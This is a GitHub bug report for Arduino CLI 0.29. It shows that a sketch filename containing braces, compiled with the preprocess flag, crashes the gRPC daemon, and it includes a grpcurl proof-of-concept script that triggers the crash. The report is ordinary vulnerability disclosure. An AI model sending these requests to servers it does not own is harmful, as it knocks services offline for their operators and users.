Skip to content

Segmentation violation using a crafted sketch file and preprocess flag #2039

@luigigubello

Description

@luigigubello

Describe the problem

Arduino CLI returns a segmentation violation bug during the compilation if preprocess flag is True and the sketch filename contains brackets (e.g. {filename}.ino).
If you are using Arduino CLI as a gRPC server or service, this bug leads to the server crash (DoS).

To reproduce

Tested on macOS.

How to reproduce:

  • Enable arduino-cli gRPC server: arduino-cli daemon --debug
  • Launch the bash script arduino-cli-029-grpc-dos.sh (attached).

arduino-cli-029-grpc-dos.sh

grpcurl \
  -plaintext \
  -import-path ./rpc \
  -proto cc/arduino/cli/commands/v1/commands.proto \
  127.0.0.1:50051 \
  cc.arduino.cli.commands.v1.ArduinoCoreService.Create

grpcurl \
  -plaintext \
  -import-path ./rpc \
  -proto cc/arduino/cli/commands/v1/commands.proto \
  -d '{"instance": {"id": 1}}' \
  127.0.0.1:50051 \
  cc.arduino.cli.commands.v1.ArduinoCoreService.Init

grpcurl \
  -plaintext \
  -import-path ./rpc \
  -proto cc/arduino/cli/commands/v1/commands.proto \
  -d '{"instance": {"id": 1}, "sketch_dir": "/tmp", "sketch_name": "{fooSketch}"}' \
  127.0.0.1:50051 \
  cc.arduino.cli.commands.v1.ArduinoCoreService.NewSketch

grpcurl \
  -plaintext \
  -import-path ./rpc \
  -proto cc/arduino/cli/commands/v1/commands.proto \
  -proto cc/arduino/cli/commands/v1/compile.proto \
  -d '{"instance": {"id": 1}, "fqbn": "arduino:mbed_portenta:portenta_x8", "preprocess": true, "sketch_path": "/tmp/{fooSketch}/{fooSketch}.ino"}' \
  127.0.0.1:50051 \
  cc.arduino.cli.commands.v1.ArduinoCoreService.Compile

Expected behavior

The Arduino CLI should not crash, I guess.

Arduino CLI version

0.29

Operating system

macOS

Operating system version

13

Additional context

Video PoC

Kapture.2023-01-15.at.23.06.42.mp4

Issue checklist

  • I searched for previous reports in the issue tracker
  • I verified the problem still occurs when using the nightly build
  • My report contains all necessary details

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions